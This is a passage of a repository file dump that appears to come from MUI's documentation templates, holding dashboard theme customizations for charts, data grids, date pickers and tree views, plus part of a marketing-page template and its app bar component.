323356, 345578, 367790, 390012, 412234, 434456,\n      456678, 478890, 501112, 523334, 545556, 567778, 590000, 612222, 634444, 656666,\n      678888, 701110, 723332, 745554, 767776, 789998, 812220, 834442, 856664, 878886,\n    ],\n  },\n];\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/theme/customizations/charts.js",
    "content": "import { axisClasses, legendClasses, chartsGridClasses } from '@mui/x-charts';\n\nimport { gray } from '../../../shared-theme/themePrimitives';\n\n/* eslint-disable import/prefer-default-export */\nexport const chartsCustomizations = {\n  MuiChartsAxis: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        [`& .${axisClasses.line}`]: {\n          stroke: gray[300],\n        },\n        [`& .${axisClasses.tick}`]: { stroke: gray[300] },\n        [`& .${axisClasses.tickLabel}`]: {\n          fill: gray[500],\n          fontWeight: 500,\n        },\n        ...theme.applyStyles('dark', {\n          [`& .${axisClasses.line}`]: {\n            stroke: gray[700],\n          },\n          [`& .${axisClasses.tick}`]: { stroke: gray[700] },\n          [`& .${axisClasses.tickLabel}`]: {\n            fill: gray[300],\n            fontWeight: 500,\n          },\n        }),\n      }),\n    },\n  },\n  MuiChartsTooltip: {\n    styleOverrides: {\n      mark: ({ theme }) => ({\n        ry: 6,\n        boxShadow: 'none',\n        border: `1px solid ${(theme.vars || theme).palette.divider}`,\n      }),\n      table: ({ theme }) => ({\n        border: `1px solid ${(theme.vars || theme).palette.divider}`,\n        borderRadius: theme.shape.borderRadius,\n        background: 'hsl(0, 0%, 100%)',\n        ...theme.applyStyles('dark', {\n          background: gray[900],\n        }),\n      }),\n    },\n  },\n  MuiChartsLegend: {\n    styleOverrides: {\n      root: {\n        [`& .${legendClasses.mark}`]: {\n          ry: 6,\n        },\n      },\n    },\n  },\n  MuiChartsGrid: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        [`& .${chartsGridClasses.line}`]: {\n          stroke: gray[200],\n          strokeDasharray: '4 2',\n          strokeWidth: 0.8,\n        },\n        ...theme.applyStyles('dark', {\n          [`& .${chartsGridClasses.line}`]: {\n            stroke: gray[700],\n            strokeDasharray: '4 2',\n            strokeWidth: 0.8,\n          },\n        }),\n      }),\n    },\n  },\n};\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/theme/customizations/charts.ts",
    "content": "import { Theme } from '@mui/material/styles';\nimport { axisClasses, legendClasses, chartsGridClasses } from '@mui/x-charts';\nimport type { ChartsComponents } from '@mui/x-charts/themeAugmentation';\nimport { gray } from '../../../shared-theme/themePrimitives';\n\n/* eslint-disable import/prefer-default-export */\nexport const chartsCustomizations: ChartsComponents<Theme> = {\n  MuiChartsAxis: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        [`& .${axisClasses.line}`]: {\n          stroke: gray[300],\n        },\n        [`& .${axisClasses.tick}`]: { stroke: gray[300] },\n        [`& .${axisClasses.tickLabel}`]: {\n          fill: gray[500],\n          fontWeight: 500,\n        },\n        ...theme.applyStyles('dark', {\n          [`& .${axisClasses.line}`]: {\n            stroke: gray[700],\n          },\n          [`& .${axisClasses.tick}`]: { stroke: gray[700] },\n          [`& .${axisClasses.tickLabel}`]: {\n            fill: gray[300],\n            fontWeight: 500,\n          },\n        }),\n      }),\n    },\n  },\n  MuiChartsTooltip: {\n    styleOverrides: {\n      mark: ({ theme }) => ({\n        ry: 6,\n        boxShadow: 'none',\n        border: `1px solid ${(theme.vars || theme).palette.divider}`,\n      }),\n      table: ({ theme }) => ({\n        border: `1px solid ${(theme.vars || theme).palette.divider}`,\n        borderRadius: theme.shape.borderRadius,\n        background: 'hsl(0, 0%, 100%)',\n        ...theme.applyStyles('dark', {\n          background: gray[900],\n        }),\n      }),\n    },\n  },\n  MuiChartsLegend: {\n    styleOverrides: {\n      root: {\n        [`& .${legendClasses.mark}`]: {\n          ry: 6,\n        },\n      },\n    },\n  },\n  MuiChartsGrid: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        [`& .${chartsGridClasses.line}`]: {\n          stroke: gray[200],\n          strokeDasharray: '4 2',\n          strokeWidth: 0.8,\n        },\n        ...theme.applyStyles('dark', {\n          [`& .${chartsGridClasses.line}`]: {\n            stroke: gray[700],\n            strokeDasharray: '4 2',\n            strokeWidth: 0.8,\n          },\n        }),\n      }),\n    },\n  },\n};\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/theme/customizations/dataGrid.js",
    "content": "import { paperClasses } from '@mui/material/Paper';\nimport { alpha } from '@mui/material/styles';\n\nimport { menuItemClasses } from '@mui/material/MenuItem';\nimport { listItemIconClasses } from '@mui/material/ListItemIcon';\nimport { iconButtonClasses } from '@mui/material/IconButton';\nimport { checkboxClasses } from '@mui/material/Checkbox';\nimport { listClasses } from '@mui/material/List';\nimport { gridClasses } from '@mui/x-data-grid';\nimport { tablePaginationClasses } from '@mui/material/TablePagination';\nimport { gray } from '../../../shared-theme/themePrimitives';\n\n/* eslint-disable import/prefer-default-export */\nexport const dataGridCustomizations = {\n  MuiDataGrid: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        '--DataGrid-overlayHeight': '300px',\n        overflow: 'clip',\n        borderColor: (theme.vars || theme).palette.divider,\n        backgroundColor: (theme.vars || theme).palette.background.default,\n        [`& .${gridClasses.columnHeader}`]: {\n          backgroundColor: (theme.vars || theme).palette.background.paper,\n        },\n        [`& .${gridClasses.footerContainer}`]: {\n          backgroundColor: (theme.vars || theme).palette.background.paper,\n        },\n        [`& .${checkboxClasses.root}`]: {\n          padding: theme.spacing(0.5),\n          '& > svg': {\n            fontSize: '1rem',\n          },\n        },\n        [`& .${tablePaginationClasses.root}`]: {\n          marginRight: theme.spacing(1),\n          '& .MuiIconButton-root': {\n            maxHeight: 32,\n            maxWidth: 32,\n            '& > svg': {\n              fontSize: '1rem',\n            },\n          },\n        },\n      }),\n      cell: ({ theme }) => ({\n        borderTopColor: (theme.vars || theme).palette.divider,\n      }),\n      menu: ({ theme }) => ({\n        borderRadius: theme.shape.borderRadius,\n        backgroundImage: 'none',\n        [`& .${paperClasses.root}`]: {\n          border: `1px solid ${(theme.vars || theme).palette.divider}`,\n        },\n        [`& .${menuItemClasses.root}`]: {\n          margin: '0 4px',\n        },\n        [`& .${listItemIconClasses.root}`]: {\n          marginRight: 0,\n        },\n        [`& .${listClasses.root}`]: {\n          paddingLeft: 0,\n          paddingRight: 0,\n        },\n      }),\n      row: ({ theme }) => ({\n        '&:last-of-type': {\n          borderBottom: `1px solid ${(theme.vars || theme).palette.divider}`,\n        },\n        '&:hover': {\n          backgroundColor: (theme.vars || theme).palette.action.hover,\n        },\n        '&.Mui-selected': {\n          background: (theme.vars || theme).palette.action.selected,\n          '&:hover': {\n            backgroundColor: (theme.vars || theme).palette.action.hover,\n          },\n        },\n      }),\n      iconButtonContainer: ({ theme }) => ({\n        [`& .${iconButtonClasses.root}`]: {\n          border: 'none',\n          backgroundColor: 'transparent',\n          '&:hover': {\n            backgroundColor: alpha(theme.palette.action.selected, 0.3),\n          },\n          '&:active': {\n            backgroundColor: gray[200],\n          },\n          ...theme.applyStyles('dark', {\n            color: gray[50],\n            '&:hover': {\n              backgroundColor: gray[800],\n            },\n            '&:active': {\n              backgroundColor: gray[900],\n            },\n          }),\n        },\n      }),\n      menuIconButton: ({ theme }) => ({\n        border: 'none',\n        backgroundColor: 'transparent',\n        '&:hover': {\n          backgroundColor: gray[100],\n        },\n        '&:active': {\n          backgroundColor: gray[200],\n        },\n        ...theme.applyStyles('dark', {\n          color: gray[50],\n          '&:hover': {\n            backgroundColor: gray[800],\n          },\n          '&:active': {\n            backgroundColor: gray[900],\n          },\n        }),\n      }),\n      filterForm: ({ theme }) => ({\n        gap: theme.spacing(1),\n        alignItems: 'flex-end',\n      }),\n      columnsManagementHeader: ({ theme }) => ({\n        paddingRight: theme.spacing(3),\n        paddingLeft: theme.spacing(3),\n      }),\n      columnHeaderTitleContainer: {\n        flexGrow: 1,\n        justifyContent: 'space-between',\n      },\n      columnHeaderDraggableContainer: { paddingRight: 2 },\n    },\n  },\n};\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/theme/customizations/datePickers.js",
    "content": "import { alpha } from '@mui/material/styles';\n\nimport { menuItemClasses } from '@mui/material/MenuItem';\nimport { pickersDayClasses, yearCalendarClasses } from '@mui/x-date-pickers';\nimport { gray, brand } from '../../../shared-theme/themePrimitives';\n\n/* eslint-disable import/prefer-default-export */\nexport const datePickersCustomizations = {\n  MuiPickerPopper: {\n    styleOverrides: {\n      paper: ({ theme }) => ({\n        marginTop: 4,\n        borderRadius: theme.shape.borderRadius,\n        border: `1px solid ${(theme.vars || theme).palette.divider}`,\n        backgroundImage: 'none',\n        background: 'hsl(0, 0%, 100%)',\n        boxShadow:\n          'hsla(220, 30%, 5%, 0.07) 0px 4px 16px 0px, hsla(220, 25%, 10%, 0.07) 0px 8px 16px -5px',\n        [`& .${menuItemClasses.root}`]: {\n          borderRadius: 6,\n          margin: '0 6px',\n        },\n        ...theme.applyStyles('dark', {\n          background: gray[900],\n          boxShadow:\n            'hsla(220, 30%, 5%, 0.7) 0px 4px 16px 0px, hsla(220, 25%, 10%, 0.8) 0px 8px 16px -5px',\n        }),\n      }),\n    },\n  },\n  MuiPickersArrowSwitcher: {\n    styleOverrides: {\n      spacer: { width: 16 },\n      button: ({ theme }) => ({\n        backgroundColor: 'transparent',\n        color: (theme.vars || theme).palette.grey[500],\n        ...theme.applyStyles('dark', {\n          color: (theme.vars || theme).palette.grey[400],\n        }),\n      }),\n    },\n  },\n  MuiPickersCalendarHeader: {\n    styleOverrides: {\n      switchViewButton: {\n        padding: 0,\n        border: 'none',\n      },\n    },\n  },\n  MuiMonthCalendar: {\n    styleOverrides: {\n      button: ({ theme }) => ({\n        fontSize: theme.typography.body1.fontSize,\n        color: (theme.vars || theme).palette.grey[600],\n        padding: theme.spacing(0.5),\n        borderRadius: theme.shape.borderRadius,\n        '&:hover': {\n          backgroundColor: (theme.vars || theme).palette.action.hover,\n        },\n        [`&.${yearCalendarClasses.selected}`]: {\n          backgroundColor: gray[700],\n          fontWeight: theme.typography.fontWeightMedium,\n        },\n        '&:focus': {\n          outline: `3px solid ${alpha(brand[500], 0.5)}`,\n          outlineOffset: '2px',\n          backgroundColor: 'transparent',\n          [`&.${yearCalendarClasses.selected}`]: { backgroundColor: gray[700] },\n        },\n        ...theme.applyStyles('dark', {\n          color: (theme.vars || theme).palette.grey[300],\n          '&:hover': {\n            backgroundColor: (theme.vars || theme).palette.action.hover,\n          },\n          [`&.${yearCalendarClasses.selected}`]: {\n            color: (theme.vars || theme).palette.common.black,\n            fontWeight: theme.typography.fontWeightMedium,\n            backgroundColor: gray[300],\n          },\n          '&:focus': {\n            outline: `3px solid ${alpha(brand[500], 0.5)}`,\n            outlineOffset: '2px',\n            backgroundColor: 'transparent',\n            [`&.${yearCalendarClasses.selected}`]: { backgroundColor: gray[300] },\n          },\n        }),\n      }),\n    },\n  },\n  MuiYearCalendar: {\n    styleOverrides: {\n      button: ({ theme }) => ({\n        fontSize: theme.typography.body1.fontSize,\n        color: (theme.vars || theme).palette.grey[600],\n        padding: theme.spacing(0.5),\n        borderRadius: theme.shape.borderRadius,\n        height: 'fit-content',\n        '&:hover': {\n          backgroundColor: (theme.vars || theme).palette.action.hover,\n        },\n        [`&.${yearCalendarClasses.selected}`]: {\n          backgroundColor: gray[700],\n          fontWeight: theme.typography.fontWeightMedium,\n        },\n        '&:focus': {\n          outline: `3px solid ${alpha(brand[500], 0.5)}`,\n          outlineOffset: '2px',\n          backgroundColor: 'transparent',\n          [`&.${yearCalendarClasses.selected}`]: { backgroundColor: gray[700] },\n        },\n        ...theme.applyStyles('dark', {\n          color: (theme.vars || theme).palette.grey[300],\n          '&:hover': {\n            backgroundColor: (theme.vars || theme).palette.action.hover,\n          },\n          [`&.${yearCalendarClasses.selected}`]: {\n            color: (theme.vars || theme).palette.common.black,\n            fontWeight: theme.typography.fontWeightMedium,\n            backgroundColor: gray[300],\n          },\n          '&:focus': {\n            outline: `3px solid ${alpha(brand[500], 0.5)}`,\n            outlineOffset: '2px',\n            backgroundColor: 'transparent',\n            [`&.${yearCalendarClasses.selected}`]: { backgroundColor: gray[300] },\n          },\n        }),\n      }),\n    },\n  },\n  MuiPickersDay: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        fontSize: theme.typography.body1.fontSize,\n        color: (theme.vars || theme).palette.grey[600],\n        padding: theme.spacing(0.5),\n        borderRadius: theme.shape.borderRadius,\n        '&:hover': {\n          backgroundColor: (theme.vars || theme).palette.action.hover,\n        },\n        [`&.${pickersDayClasses.selected}`]: {\n          backgroundColor: gray[700],\n          fontWeight: theme.typography.fontWeightMedium,\n        },\n        '&:focus': {\n          outline: `3px solid ${alpha(brand[500], 0.5)}`,\n          outlineOffset: '2px',\n          backgroundColor: 'transparent',\n          [`&.${pickersDayClasses.selected}`]: { backgroundColor: gray[700] },\n        },\n        ...theme.applyStyles('dark', {\n          color: (theme.vars || theme).palette.grey[300],\n          '&:hover': {\n            backgroundColor: (theme.vars || theme).palette.action.hover,\n          },\n          [`&.${pickersDayClasses.selected}`]: {\n            color: (theme.vars || theme).palette.common.black,\n            fontWeight: theme.typography.fontWeightMedium,\n            backgroundColor: gray[300],\n          },\n          '&:focus': {\n            outline: `3px solid ${alpha(brand[500], 0.5)}`,\n            outlineOffset: '2px',\n            backgroundColor: 'transparent',\n            [`&.${pickersDayClasses.selected}`]: { backgroundColor: gray[300] },\n          },\n        }),\n      }),\n    },\n  },\n};\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/theme/customizations/datePickers.ts",
    "content": "import { alpha, Theme } from '@mui/material/styles';\nimport type { PickersProComponents } from '@mui/x-date-pickers-pro/themeAugmentation';\nimport type { PickerComponents } from '@mui/x-date-pickers/themeAugmentation';\nimport { menuItemClasses } from '@mui/material/MenuItem';\nimport { pickersDayClasses, yearCalendarClasses } from '@mui/x-date-pickers';\nimport { gray, brand } from '../../../shared-theme/themePrimitives';\n\n/* eslint-disable import/prefer-default-export */\nexport const datePickersCustomizations: PickersProComponents<Theme> & PickerComponents<Theme> = {\n  MuiPickerPopper: {\n    styleOverrides: {\n      paper: ({ theme }) => ({\n        marginTop: 4,\n        borderRadius: theme.shape.borderRadius,\n        border: `1px solid ${(theme.vars || theme).palette.divider}`,\n        backgroundImage: 'none',\n        background: 'hsl(0, 0%, 100%)',\n        boxShadow:\n          'hsla(220, 30%, 5%, 0.07) 0px 4px 16px 0px, hsla(220, 25%, 10%, 0.07) 0px 8px 16px -5px',\n        [`& .${menuItemClasses.root}`]: {\n          borderRadius: 6,\n          margin: '0 6px',\n        },\n        ...theme.applyStyles('dark', {\n          background: gray[900],\n          boxShadow:\n            'hsla(220, 30%, 5%, 0.7) 0px 4px 16px 0px, hsla(220, 25%, 10%, 0.8) 0px 8px 16px -5px',\n        }),\n      }),\n    },\n  },\n  MuiPickersArrowSwitcher: {\n    styleOverrides: {\n      spacer: { width: 16 },\n      button: ({ theme }) => ({\n        backgroundColor: 'transparent',\n        color: (theme.vars || theme).palette.grey[500],\n        ...theme.applyStyles('dark', {\n          color: (theme.vars || theme).palette.grey[400],\n        }),\n      }),\n    },\n  },\n  MuiPickersCalendarHeader: {\n    styleOverrides: {\n      switchViewButton: {\n        padding: 0,\n        border: 'none',\n      },\n    },\n  },\n  MuiMonthCalendar: {\n    styleOverrides: {\n      button: ({ theme }) => ({\n        fontSize: theme.typography.body1.fontSize,\n        color: (theme.vars || theme).palette.grey[600],\n        padding: theme.spacing(0.5),\n        borderRadius: theme.shape.borderRadius,\n        '&:hover': {\n          backgroundColor: (theme.vars || theme).palette.action.hover,\n        },\n        [`&.${yearCalendarClasses.selected}`]: {\n          backgroundColor: gray[700],\n          fontWeight: theme.typography.fontWeightMedium,\n        },\n        '&:focus': {\n          outline: `3px solid ${alpha(brand[500], 0.5)}`,\n          outlineOffset: '2px',\n          backgroundColor: 'transparent',\n          [`&.${yearCalendarClasses.selected}`]: { backgroundColor: gray[700] },\n        },\n        ...theme.applyStyles('dark', {\n          color: (theme.vars || theme).palette.grey[300],\n          '&:hover': {\n            backgroundColor: (theme.vars || theme).palette.action.hover,\n          },\n          [`&.${yearCalendarClasses.selected}`]: {\n            color: (theme.vars || theme).palette.common.black,\n            fontWeight: theme.typography.fontWeightMedium,\n            backgroundColor: gray[300],\n          },\n          '&:focus': {\n            outline: `3px solid ${alpha(brand[500], 0.5)}`,\n            outlineOffset: '2px',\n            backgroundColor: 'transparent',\n            [`&.${yearCalendarClasses.selected}`]: { backgroundColor: gray[300] },\n          },\n        }),\n      }),\n    },\n  },\n  MuiYearCalendar: {\n    styleOverrides: {\n      button: ({ theme }) => ({\n        fontSize: theme.typography.body1.fontSize,\n        color: (theme.vars || theme).palette.grey[600],\n        padding: theme.spacing(0.5),\n        borderRadius: theme.shape.borderRadius,\n        height: 'fit-content',\n        '&:hover': {\n          backgroundColor: (theme.vars || theme).palette.action.hover,\n        },\n        [`&.${yearCalendarClasses.selected}`]: {\n          backgroundColor: gray[700],\n          fontWeight: theme.typography.fontWeightMedium,\n        },\n        '&:focus': {\n          outline: `3px solid ${alpha(brand[500], 0.5)}`,\n          outlineOffset: '2px',\n          backgroundColor: 'transparent',\n          [`&.${yearCalendarClasses.selected}`]: { backgroundColor: gray[700] },\n        },\n        ...theme.applyStyles('dark', {\n          color: (theme.vars || theme).palette.grey[300],\n          '&:hover': {\n            backgroundColor: (theme.vars || theme).palette.action.hover,\n          },\n          [`&.${yearCalendarClasses.selected}`]: {\n            color: (theme.vars || theme).palette.common.black,\n            fontWeight: theme.typography.fontWeightMedium,\n            backgroundColor: gray[300],\n          },\n          '&:focus': {\n            outline: `3px solid ${alpha(brand[500], 0.5)}`,\n            outlineOffset: '2px',\n            backgroundColor: 'transparent',\n            [`&.${yearCalendarClasses.selected}`]: { backgroundColor: gray[300] },\n          },\n        }),\n      }),\n    },\n  },\n  MuiPickersDay: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        fontSize: theme.typography.body1.fontSize,\n        color: (theme.vars || theme).palette.grey[600],\n        padding: theme.spacing(0.5),\n        borderRadius: theme.shape.borderRadius,\n        '&:hover': {\n          backgroundColor: (theme.vars || theme).palette.action.hover,\n        },\n        [`&.${pickersDayClasses.selected}`]: {\n          backgroundColor: gray[700],\n          fontWeight: theme.typography.fontWeightMedium,\n        },\n        '&:focus': {\n          outline: `3px solid ${alpha(brand[500], 0.5)}`,\n          outlineOffset: '2px',\n          backgroundColor: 'transparent',\n          [`&.${pickersDayClasses.selected}`]: { backgroundColor: gray[700] },\n        },\n        ...theme.applyStyles('dark', {\n          color: (theme.vars || theme).palette.grey[300],\n          '&:hover': {\n            backgroundColor: (theme.vars || theme).palette.action.hover,\n          },\n          [`&.${pickersDayClasses.selected}`]: {\n            color: (theme.vars || theme).palette.common.black,\n            fontWeight: theme.typography.fontWeightMedium,\n            backgroundColor: gray[300],\n          },\n          '&:focus': {\n            outline: `3px solid ${alpha(brand[500], 0.5)}`,\n            outlineOffset: '2px',\n            backgroundColor: 'transparent',\n            [`&.${pickersDayClasses.selected}`]: { backgroundColor: gray[300] },\n          },\n        }),\n      }),\n    },\n  },\n};\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/theme/customizations/index.js",
    "content": "export { chartsCustomizations } from './charts';\nexport { dataGridCustomizations } from './dataGrid';\nexport { datePickersCustomizations } from './datePickers';\nexport { treeViewCustomizations } from './treeView';\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/theme/customizations/index.ts",
    "content": "export { chartsCustomizations } from './charts';\nexport { dataGridCustomizations } from './dataGrid';\nexport { datePickersCustomizations } from './datePickers';\nexport { treeViewCustomizations } from './treeView';\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/theme/customizations/treeView.js",
    "content": "import { alpha } from '@mui/material/styles';\n\nimport { gray, brand } from '../../../shared-theme/themePrimitives';\n\n/* eslint-disable import/prefer-default-export */\nexport const treeViewCustomizations = {\n  MuiTreeItem: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        position: 'relative',\n        boxSizing: 'border-box',\n        padding: theme.spacing(0, 1),\n        '& .groupTransition': {\n          marginLeft: theme.spacing(2),\n          padding: theme.spacing(0),\n          borderLeft: '1px solid',\n          borderColor: (theme.vars || theme).palette.divider,\n        },\n        '&:focus-visible .focused': {\n          outline: `3px solid ${alpha(brand[500], 0.5)}`,\n          outlineOffset: '2px',\n          '&:hover': {\n            backgroundColor: alpha(gray[300], 0.2),\n            outline: `3px solid ${alpha(brand[500], 0.5)}`,\n            outlineOffset: '2px',\n          },\n        },\n      }),\n      content: ({ theme }) => ({\n        marginTop: theme.spacing(1),\n        padding: theme.spacing(0.5, 1),\n        overflow: 'clip',\n        '&:hover': {\n          backgroundColor: alpha(gray[300], 0.2),\n        },\n        '&.selected': {\n          backgroundColor: alpha(gray[300], 0.4),\n          '&:hover': {\n            backgroundColor: alpha(gray[300], 0.6),\n          },\n        },\n        ...theme.applyStyles('dark', {\n          '&:hover': {\n            backgroundColor: alpha(gray[500], 0.2),\n          },\n          '&:focus-visible': {\n            '&:hover': {\n              backgroundColor: alpha(gray[500], 0.2),\n            },\n          },\n          '&.selected': {\n            backgroundColor: alpha(gray[500], 0.4),\n            '&:hover': {\n              backgroundColor: alpha(gray[500], 0.6),\n            },\n          },\n        }),\n      }),\n    },\n  },\n};\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/theme/customizations/treeView.ts",
    "content": "import { alpha, Theme } from '@mui/material/styles';\nimport type { TreeViewComponents } from '@mui/x-tree-view/themeAugmentation';\nimport { gray, brand } from '../../../shared-theme/themePrimitives';\n\n/* eslint-disable import/prefer-default-export */\nexport const treeViewCustomizations: TreeViewComponents<Theme> = {\n  MuiTreeItem: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        position: 'relative',\n        boxSizing: 'border-box',\n        padding: theme.spacing(0, 1),\n        '& .groupTransition': {\n          marginLeft: theme.spacing(2),\n          padding: theme.spacing(0),\n          borderLeft: '1px solid',\n          borderColor: (theme.vars || theme).palette.divider,\n        },\n        '&:focus-visible .focused': {\n          outline: `3px solid ${alpha(brand[500], 0.5)}`,\n          outlineOffset: '2px',\n          '&:hover': {\n            backgroundColor: alpha(gray[300], 0.2),\n            outline: `3px solid ${alpha(brand[500], 0.5)}`,\n            outlineOffset: '2px',\n          },\n        },\n      }),\n      content: ({ theme }) => ({\n        marginTop: theme.spacing(1),\n        padding: theme.spacing(0.5, 1),\n        overflow: 'clip',\n        '&:hover': {\n          backgroundColor: alpha(gray[300], 0.2),\n        },\n\n        '&.selected': {\n          backgroundColor: alpha(gray[300], 0.4),\n          '&:hover': {\n            backgroundColor: alpha(gray[300], 0.6),\n          },\n        },\n        ...theme.applyStyles('dark', {\n          '&:hover': {\n            backgroundColor: alpha(gray[500], 0.2),\n          },\n          '&:focus-visible': {\n            '&:hover': {\n              backgroundColor: alpha(gray[500], 0.2),\n            },\n          },\n          '&.selected': {\n            backgroundColor: alpha(gray[500], 0.4),\n            '&:hover': {\n              backgroundColor: alpha(gray[500], 0.6),\n            },\n          },\n        }),\n      }),\n    },\n  },\n};\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/marketing-page/MarketingPage.js",
    "content": "import CssBaseline from '@mui/material/CssBaseline';\nimport Divider from '@mui/material/Divider';\nimport AppTheme from '../shared-theme/AppTheme';\nimport AppAppBar from './components/AppAppBar';\nimport Hero from './components/Hero';\nimport LogoCollection from './components/LogoCollection';\nimport Highlights from './components/Highlights';\nimport Pricing from './components/Pricing';\nimport Features from './components/Features';\nimport Testimonials from './components/Testimonials';\nimport FAQ from './components/FAQ';\nimport Footer from './components/Footer';\n\nexport default function MarketingPage(props) {\n  return (\n    <AppTheme {...props}>\n      <CssBaseline enableColorScheme />\n      <AppAppBar />\n      <Hero />\n      <div>\n        <LogoCollection />\n        <Features />\n        <Divider />\n        <Testimonials />\n        <Divider />\n        <Highlights />\n        <Divider />\n        <Pricing />\n        <Divider />\n        <FAQ />\n        <Divider />\n        <Footer />\n      </div>\n    </AppTheme>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/marketing-page/MarketingPage.tsx",
    "content": "import CssBaseline from '@mui/material/CssBaseline';\nimport Divider from '@mui/material/Divider';\nimport AppTheme from '../shared-theme/AppTheme';\nimport AppAppBar from './components/AppAppBar';\nimport Hero from './components/Hero';\nimport LogoCollection from './components/LogoCollection';\nimport Highlights from './components/Highlights';\nimport Pricing from './components/Pricing';\nimport Features from './components/Features';\nimport Testimonials from './components/Testimonials';\nimport FAQ from './components/FAQ';\nimport Footer from './components/Footer';\n\nexport default function MarketingPage(props: { disableCustomTheme?: boolean }) {\n  return (\n    <AppTheme {...props}>\n      <CssBaseline enableColorScheme />\n\n      <AppAppBar />\n      <Hero />\n      <div>\n        <LogoCollection />\n        <Features />\n        <Divider />\n        <Testimonials />\n        <Divider />\n        <Highlights />\n        <Divider />\n        <Pricing />\n        <Divider />\n        <FAQ />\n        <Divider />\n        <Footer />\n      </div>\n    </AppTheme>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/marketing-page/README.md",
    "content": "# Marketing page template\n\n## Usage\n\n<!-- #target-branch-reference -->\n\n1. Copy these folders (`marketing-page` and `shared-theme`) into your project, or one of the [example projects](https://github.com/mui/material-ui/tree/master/examples).\n2. Make sure your project has the required dependencies: @mui/material, @mui/icons-material, @emotion/styled, @emotion/react.\n3. Import and use the `MarketingPage` component.\n\n## Demo\n\n<!-- #host-reference -->\n\nView the demo at https://next.mui.com/material-ui/getting-started/templates/marketing-page/.\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/marketing-page/components/AppAppBar.js",
    "content": "import * as React from 'react';\nimport { styled, alpha } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport AppBar from '@mui/material/AppBar';\nimport Toolbar from '@mui/material/Toolbar';\nimport Button from '@mui/material/Button';\nimport IconButton from '@mui/material/IconButton';\nimport Container from '@mui/material/Container';\nimport Divider from '@mui/material/Divider';\nimport MenuItem from '@mui/material/MenuItem';\nimport Drawer from '@mui/material/Drawer';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport CloseRoundedIcon from '@mui/icons-material/CloseRounded';\nimport ColorModeIconDropdown from '../../shared-theme/ColorModeIconDropdown';\nimport Sitemark from './SitemarkIcon';\n\nconst StyledToolbar = styled(Toolbar)(({ theme }) => ({\n  display: 'flex',\n  alignItems: 'center',\n  justifyContent: 'space-between',\n  flexShrink: 0,\n  borderRadius: `calc(${theme.shape.borderRadius}px + 8px)`,\n  backdropFilter: 'blur(24px)',\n  border: '1px solid',\n  borderColor: (theme.vars || theme).palette.divider,\n  backgroundColor: theme.vars\n    ? `rgba(${theme.vars.palette.background.defaultChannel} / 0.4)`\n    : alpha(theme.palette.background.default, 0.4),\n  boxShadow: (theme.vars || theme).shadows[1],\n  padding: '8px 12px',\n}));\n\nexport default function AppAppBar() {\n  const [open, setOpen] = React.useState(false);\n\n  const toggleDrawer = (newOpen) => () => {\n    setOpen(newOpen);\n  };\n\n  return (\n    <AppBar\n      position=\"fixed\"\n      enableColorOnDark\n      sx={{\n        boxShadow: 0,\n        bgcolor: 'transparent',\n        backgroundImage: 'none',\n        mt: 'calc(var(--template-frame-height, 0px) + 28px)',\n      }}\n    >\n      <Container maxWidth=\"lg\">\n        <StyledToolbar variant=\"dense\" disableGutters>\n          <Box sx={{ flexGrow: 1, display: 'flex', alignItems: 'center', px: 0 }}>\n            <Sitemark />\n            <Box sx={{ display: { xs: 'none', md: 'flex' } }}>\n              <Button variant=\"text\" color=\"info\" size=\"small\">\n                Features\n              </Button>\n              <Button variant=\"text\" color=\"info\" size=\"small\">\n                Testimonials\n              </Button>\n              <Button variant=\"text\" color=\"info\" size=\"small\">\n                Highlights\n              </Button>\n              <Button variant=\"text\" color=\"info\" size=\"small\">\n                Pricing\n              </Button>\n              <Button variant=\"text\" color=\"info\" size=\"small\" sx={{ minWidth: 0 }}>\n                FAQ\n              </Button>\n              <Button variant=\"text\" color=\"info\" size=\"small\" sx={{ minWidth: 0 }}>\n                Blog\n              </Button>\n            </Box>\n          </Box>\n          <Box\n            sx={{\n              display: { xs: 'none', md: 'flex' },\n              gap: 1,\n              alignItems: 'center',\n            }}\n          >\n            <Button color=\"primary\" variant=\"text\" size=\"small\">\n              Sign in\n            </Button>\n            <Button color=\"primary\" variant=\"contained\" size=\"small\">\n              Sign up\n            </Button>\n            <ColorModeIconDropdown />\n          </Box>\n          <Box sx={{ display: { xs: 'flex', md: 'none' }, gap: 1 }}>\n            <ColorModeIconDropdown size=\"medium\" />\n            <IconButton aria-label=\"Menu button\" onClick={toggleDrawer(true)}>\n              <MenuIcon />\n            </IconButton>\n            <Drawer\n              anchor=\"top\"\n              open={open}\n              onClose={toggleDrawer(false)}\n              slotProps={{\n                paper: {\n                  sx: {\n                    top: 'var(--template-frame-height, 0px)',\n                  },\n                },\n              }}\n            >\n              <Box sx={{ p: 2, backgroundColor: 'background.default' }}>\n                <Box\n                  sx={{\n                    display: 'flex',\n                    justifyContent: 'flex-end',\n                  }}\n                >\n                  <IconButton onClick={toggleDrawer(false)}>\n                    <CloseRoundedIcon />\n                  </IconButton>\n                </Box>\n\n                <MenuItem>Features</MenuItem>\n                <MenuItem>Testimonials</MenuItem>\n                <MenuItem>Highlights</MenuItem>\n                <MenuItem>Pricing</MenuItem>\n                <MenuItem>FAQ</MenuItem>\n                <MenuItem>Blog</MenuItem>\n                <Divider sx={{ my: 3 }} />\n                <MenuItem>\n                  <Button color=\"primary\" 